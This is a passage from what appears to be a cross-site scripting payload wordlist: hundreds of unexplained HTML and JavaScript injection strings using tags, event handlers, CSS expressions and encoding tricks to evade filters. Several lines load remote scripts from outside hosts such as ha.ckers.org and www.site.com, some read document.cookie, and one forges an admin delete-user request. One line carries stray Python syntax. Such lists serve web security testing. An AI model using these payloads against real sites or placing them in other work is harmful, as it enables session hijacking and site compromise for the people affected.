  1792. <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
  1793. <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
  1794. <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
  1795. X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
  1796. 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>
  1797. 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>
  1798. <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
  1799. 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
  1800. <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
  1801. <x style="behavior:url(%(sct)s)">
  1802. <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
  1803. <event-source src="%(event)s" onload="javascript:alert(1)">
  1804. <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
  1805. <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
  1806. <script>%(payload)s</script>
  1807. <script src=%(jscript)s></script>
  1808. <script language='javascript' src='%(jscript)s'></script>
  1809. <script>javascript:alert(1)</script>
  1810. <IMG SRC="javascript:javascript:alert(1);">
  1811. <IMG SRC=javascript:javascript:alert(1)>
  1812. <IMG SRC=`javascript:javascript:alert(1)`>
  1813. <SCRIPT SRC=%(jscript)s?<B>
  1814. <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
  1815. <BODY ONLOAD=javascript:alert(1)>
  1816. <BODY ONLOAD=javascript:javascript:alert(1)>
  1817. <IMG SRC="jav ascript:javascript:alert(1);">
  1818. <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
  1819. <SCRIPT/SRC="%(jscript)s"></SCRIPT>
  1820. <<SCRIPT>%(payload)s//<</SCRIPT>
  1821. <IMG SRC="javascript:javascript:alert(1)"
  1822. <iframe src=%(scriptlet)s <
  1823. <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
  1824. <IMG DYNSRC="javascript:javascript:alert(1)">
  1825. <IMG LOWSRC="javascript:javascript:alert(1)">
  1826. <BGSOUND SRC="javascript:javascript:alert(1);">
  1827. <BR SIZE="&{javascript:alert(1)}">
  1828. <LAYER SRC="%(scriptlet)s"></LAYER>
  1829. <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
  1830. <STYLE>@import'%(css)s';</STYLE>
  1831. <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
  1832. <XSS STYLE="behavior: url(%(htc)s);">
  1833. <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
  1834. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
  1835. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
  1836. <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
  1837. <TABLE BACKGROUND="javascript:javascript:alert(1)">
  1838. <TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
  1839. <DIV STYLE="background-image: url(javascript:javascript:alert(1))">
  1840. <DIV STYLE="width:expression(javascript:alert(1));">
  1841. <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
  1842. <XSS STYLE="xss:expression(javascript:alert(1))">
  1843. <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
  1844. <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
  1845. <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
  1846. <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
  1847. <BASE HREF="javascript:javascript:alert(1);//">
  1848. <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
  1849. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
  1850. <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  1851. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
  1852. <SCRIPT SRC="%(jpg)s"></SCRIPT>
  1853. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
  1854. <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
  1855. <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  1856. <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
  1857. <STYLE>@import'%(css)s';</STYLE>
  1858. <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
  1859. <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
  1860. <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
  1861. <style onreadystatechange=javascript:javascript:alert(1);></style>
  1862. <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
  1863. <embed code=%(scriptlet)s></embed>
  1864. <embed code=javascript:javascript:alert(1);></embed>
  1865. <embed src=%(jscript)s></embed>
  1866. <frameset onload=javascript:javascript:alert(1)></frameset>
  1867. <object onerror=javascript:javascript:alert(1)>
  1868. <embed type="image" src=%(scriptlet)s></embed>
  1869. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
  1870. <IMG SRC=&{javascript:alert(1);};>
  1871. <a href="jav&#65ascript:javascript:alert(1)">test1</a>
  1872. <a href="jav&#97ascript:javascript:alert(1)">test1</a>
  1873. <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
  1874. <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
  1875. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  1876. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  1877. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  1878. '';!--"<XSS>=&{()}
  1879. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  1880. <IMG SRC="javascript:alert('XSS');">
  1881. <IMG SRC=javascript:alert('XSS')>
  1882. <IMG SRC=JaVaScRiPt:alert('XSS')>
  1883. <IMG SRC=javascript:alert("XSS")>
  1884. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  1885. <a onmouseover="alert(document.cookie)">xxs link</a>
  1886. <a onmouseover=alert(document.cookie)>xxs link</a>
  1887. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  1888. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  1889. <IMG SRC=# onmouseover="alert('xxs')">
  1890. <IMG SRC= onmouseover="alert('xxs')">
  1891. <IMG onmouseover="alert('xxs')">
  1892. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  1893. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  1894. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  1895. <IMG SRC="jav ascript:alert('XSS');">
  1896. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  1897. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  1898. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  1899. perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
  1900. <IMG SRC=" &#14;  javascript:alert('XSS');">
  1901. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1902. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  1903. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1904. <<SCRIPT>alert("XSS");//<</SCRIPT>
  1905. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  1906. <SCRIPT SRC=//ha.ckers.org/.j>
  1907. <IMG SRC="javascript:alert('XSS')"
  1908. <iframe src=http://ha.ckers.org/scriptlet.html <
  1909. \";alert('XSS');//
  1910. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  1911. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  1912. <BODY BACKGROUND="javascript:alert('XSS')">
  1913. <IMG DYNSRC="javascript:alert('XSS')">
  1914. <IMG LOWSRC="javascript:alert('XSS')">
  1915. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
  1916. <IMG SRC='vbscript:msgbox("XSS")'>
  1917. <IMG SRC="livescript:[code]">
  1918. <BODY ONLOAD=alert('XSS')>
  1919. <BGSOUND SRC="javascript:alert('XSS');">
  1920. <BR SIZE="&{alert('XSS')}">
  1921. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  1922. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  1923. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
  1924. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
  1925. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  1926. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  1927. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  1928. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
  1929. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  1930. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  1931. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  1932. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  1933. <XSS STYLE="xss:expression(alert('XSS'))">
  1934. <XSS STYLE="behavior: url(xss.htc);">
  1935. ¼script¾alert(¢XSS¢)¼/script¾
  1936. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  1937. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  1938. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  1939. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  1940. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  1941. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  1942. <TABLE BACKGROUND="javascript:alert('XSS')">
  1943. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  1944. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  1945. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  1946. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
  1947. <DIV STYLE="width: expression(alert('XSS'));">
  1948. <BASE HREF="javascript:alert('XSS');//">
  1949. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  1950. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  1951. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  1952. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
  1953. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
  1954. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
  1955. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
  1956. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  1957.  <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  1958. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1959. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1960. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1961. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1962. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1963. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1964. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  1965. <A HREF="http://66.102.7.147/">XSS</A>
  1966. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
  1967. <A HREF="http://1113982867/">XSS</A>
  1968. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
  1969. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
  1970. <A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
  1971. <iframe  src="&Tab;javascript:prompt(1)&Tab;">
  1972. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  1973. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  1974. <sVg><scRipt >alert&lpar;1&rpar; {Opera}
  1975. <img/src=`` onerror=this.onerror=confirm(1)
  1976. <form><isindex formaction="javascript&colon;confirm(1)"
  1977. <img src=``&NewLine; onerror=alert(1)&NewLine;
  1978. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  1979. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  1980. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  1981. <script /**/>/**/alert(1)/**/</script /**/
  1982. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>
  1983. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  1984. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  1985. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  1986. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  1987. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  1988. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  1989. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  1990. </script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
  1991. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  1992. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  1993. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  1994. http://www.google<script .com>alert(document.location)</script
  1995. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  1996. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  1997. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  1998. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  1999. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  2000. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  2001. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  2002. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  2003. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  2004. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  2005. <script ~~~>alert(0%0)</script ~~~>
  2006. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  2007. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  2008. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  2009. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  2010. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  2011. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  2012. <div/style="width:expression(confirm(1))">X</div> {IE7}
  2013. <iframe// src=javaSCRIPT&colon;alert(1)
  2014. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  2015. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  2016. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  2017. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  2018. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  2019. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  2020. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  2021. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  2022. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  2023. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  2024. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  2025. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  2026. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  2027. <var onmouseover="prompt(1)">On Mouse Over</var>
  2028. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  2029. <img src="/" =_=" title="onerror='prompt(1)'">
  2030. <%<!--'%><script>alert(1);</script -->
  2031. <script src="data:text/javascript,alert(1)"></script>
  2032. <iframe/src \/\/onload = prompt(1)
  2033. <iframe/onreadystatechange=alert(1)
  2034. <svg/onload=alert(1)
  2035. <input value=<><iframe/src=javascript:confirm(1)
  2036. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  2037. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  2038. <img src=`xx:xx`onerror=alert(1)>
  2039. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  2040. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  2041. <math><a xlink:href="//jsfiddle.net/t846h/">click
  2042. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  2043. <svg contentScriptType=text/vbs><script>MsgBox+1
  2044. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  2045. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  2046. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  2047. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  2048. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  2049. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  2050. <script>+-+-1-+-+alert(1)</script>
  2051. <body/onload=&lt;!--&gt;&#10alert(1)>
  2052. <script itworksinallbrowsers>/*<script* */alert(1)</script
  2053. <img src ?itworksonchrome?\/onerror = alert(1)
  2054. <svg><script>//&NewLine;confirm(1);</script </svg>
  2055. <svg><script onlypossibleinopera:-)> alert(1)
  2056. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  2057. <script x> alert(1) </script 1=2
  2058. <div/onmouseover='alert(1)'> style="x:">
  2059. <--`<img/src=` onerror=alert(1)> --!>
  2060. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  2061. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  2062. "><img src=x onerror=window.open('https://www.google.com/');>
  2063. <form><button formaction=javascript&colon;alert(1)>CLICKME
  2064. <math><a xlink:href="//jsfiddle.net/t846h/">click
  2065. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  2066. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  2067. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  2068. '';!--"<XSS>=&{()}
  2069. '>//\\,<'>">">"*"
  2070. '); alert('XSS
  2071. <script>alert(1);</script>
  2072. <script>alert('XSS');</script>
  2073. <IMG SRC="javascript:alert('XSS');">
  2074. <IMG SRC=javascript:alert('XSS')>
  2075. <IMG SRC=javascript:alert('XSS')>
  2076. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  2077. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  2078. <scr<script>ipt>alert('XSS');</scr</script>ipt>
  2079. <script>alert(String.fromCharCode(88,83,83))</script>
  2080. <img src=foo.png onerror=alert(/xssed/) />
  2081. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
  2082. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
  2083. <marquee><script>alert('XSS')</script></marquee>
  2084. <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
  2085. <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
  2086. <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
  2087. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  2088. "><script>alert(0)</script>
  2089. <script src=http://yoursite.com/your_files.js></script>
  2090. </title><script>alert(/xss/)</script>
  2091. </textarea><script>alert(/xss/)</script>
  2092. <IMG LOWSRC=\"javascript:alert('XSS')\">
  2093. <IMG DYNSRC=\"javascript:alert('XSS')\">
  2094. <font style='color:expression(alert(document.cookie))'>
  2095. <img src="javascript:alert('XSS')">
  2096. <script language="JavaScript">alert('XSS')</script>
  2097. <body onunload="javascript:alert('XSS');">
  2098. <body onLoad="alert('XSS');"
  2099. [color=red' onmouseover="alert('xss')"]mouse over[/color]
  2100. "/></a></><img src=1.gif onerror=alert(1)>
  2101. window.alert("Bonjour !");
  2102. <div style="x:expression((window.r==1)?'':eval('r=1;
  2103. alert(String.fromCharCode(88,83,83));'))">
  2104. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
  2105. "><script alert(String.fromCharCode(88,83,83))</script>
  2106. '>><marquee><h1>XSS</h1></marquee>
  2107. '">><script>alert('XSS')</script>
  2108. '">><marquee><h1>XSS</h1></marquee>
  2109. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
  2110. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
  2111. <script>var var = 1; alert(var)</script>
  2112. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  2113. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
  2114. <IMG SRC='vbscript:msgbox(\"XSS\")'>
  2115. " onfocus=alert(document.domain) "> <"
  2116. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
  2117. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
  2118. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
  2119. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
  2120. <br size=\"&{alert('XSS')}\">
  2121. <scrscriptipt>alert(1)</scrscriptipt>
  2122. </br style=a:expression(alert())>
  2123. </script><script>alert(1)</script>
  2124. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  2125. [color=red width=expression(alert(123))][color]
  2126. <BASE HREF="javascript:alert('XSS');//">
  2127. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
  2128. "></iframe><script>alert(123)</script>
  2129. <body onLoad="while(true) alert('XSS');">
  2130. '"></title><script>alert(1111)</script>
  2131. </textarea>'"><script>alert(document.cookie)</script>
  2132. '""><script language="JavaScript"> alert('X \nS \nS');</script>
  2133. </script></script><<<<script><>>>><<<script>alert(123)</script>
  2134. <html><noalert><noscript>(123)</noscript><script>(123)</script>
  2135. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  2136. '></select><script>alert(123)</script>
  2137. '>"><script src = 'http://www.site.com/XSS.js'></script>
  2138. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  2139. <SCRIPT>document.write("XSS");</SCRIPT>
  2140. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
  2141. ='><script>alert("xss")</script>
  2142. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
  2143. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
  2144. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
  2145. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
  2146. src="http://www.site.com/XSS.js"></script>
  2147. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
  2148. !--" /><script>alert('xss');</script>
  2149. <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  2150. "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
  2151. '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
